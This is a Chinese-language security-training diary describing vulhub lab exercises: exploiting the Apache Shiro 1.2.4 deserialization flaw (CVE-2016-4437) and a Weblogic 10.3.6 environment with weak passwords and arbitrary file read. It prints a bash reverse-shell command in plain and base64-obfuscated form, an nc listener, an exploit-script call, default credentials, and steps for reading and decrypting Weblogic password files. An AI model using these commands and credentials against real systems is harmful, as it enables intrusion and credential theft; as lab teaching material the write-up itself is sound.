【网络安全1x08】安恒厂家网络安全培训 --- day8

上午讲vulhub靶机,有Shiro 1.2.4反序列化漏洞,Weblogic weak password。

下午讲恶意样本分析指南。

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

影响版本

  • Apache Shiro <= 1.2.4

漏洞原理

Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

漏洞特征

shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段。

漏洞利用

  1. base64加密反弹shell命令:
1
2
3
4
5
#明文
bash -i >& /dev/tcp/192.168.137.128/4444 0>&1

#密文
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}
  1. 攻击机开启nc监听:
1
nc -lvp 4444
  1. 执行命令,反弹shell:
1
python3 shiro_exploit.py -t 3 -u http://192.168.137.129:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}"

Weblogic weak password

测试环境

本环境模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞。分别通过这两种漏洞,模拟对weblogic场景的渗透。

  • Weblogic版本:10.3.6(11g)
  • Java版本:1.6

弱口令

环境启动后,访问http://your-ip:7001/console,即为weblogic后台。

本环境存在弱口令:

  • weblogic
  • Oracle@123

weblogic常用弱口令: http://cirt.net/passwords?criteria=weblogic

后台上传webshell

获取到管理员密码后,登录后台。点击左侧的部署,可见一个应用列表:

上传war包。

填写应用名称:

继续一直下一步,最后点完成。

成功获取webshell:

任意文件读取漏洞的利用

假设不存在弱口令,如何对weblogic进行渗透?

本环境前台模拟了一个任意文件下载漏洞,访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件。那么,该漏洞如何利用?

读取后台用户密文与密钥文件

weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.datconfig.xml,在本环境中为./security/SerializedSystemIni.dat./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)

SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:

config.xmlbase_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的<node-manager-password-encrypted>的值,即为加密后的管理员密码,不要找错了:

解密密文

然后使用本环境的decrypt目录下的weblogic_decrypt.jar,解密密文(或者参考这篇文章:http://cb.drops.wiki/drops/tips-349.html ,自己编译一个解密的工具):

恶意样本分析指南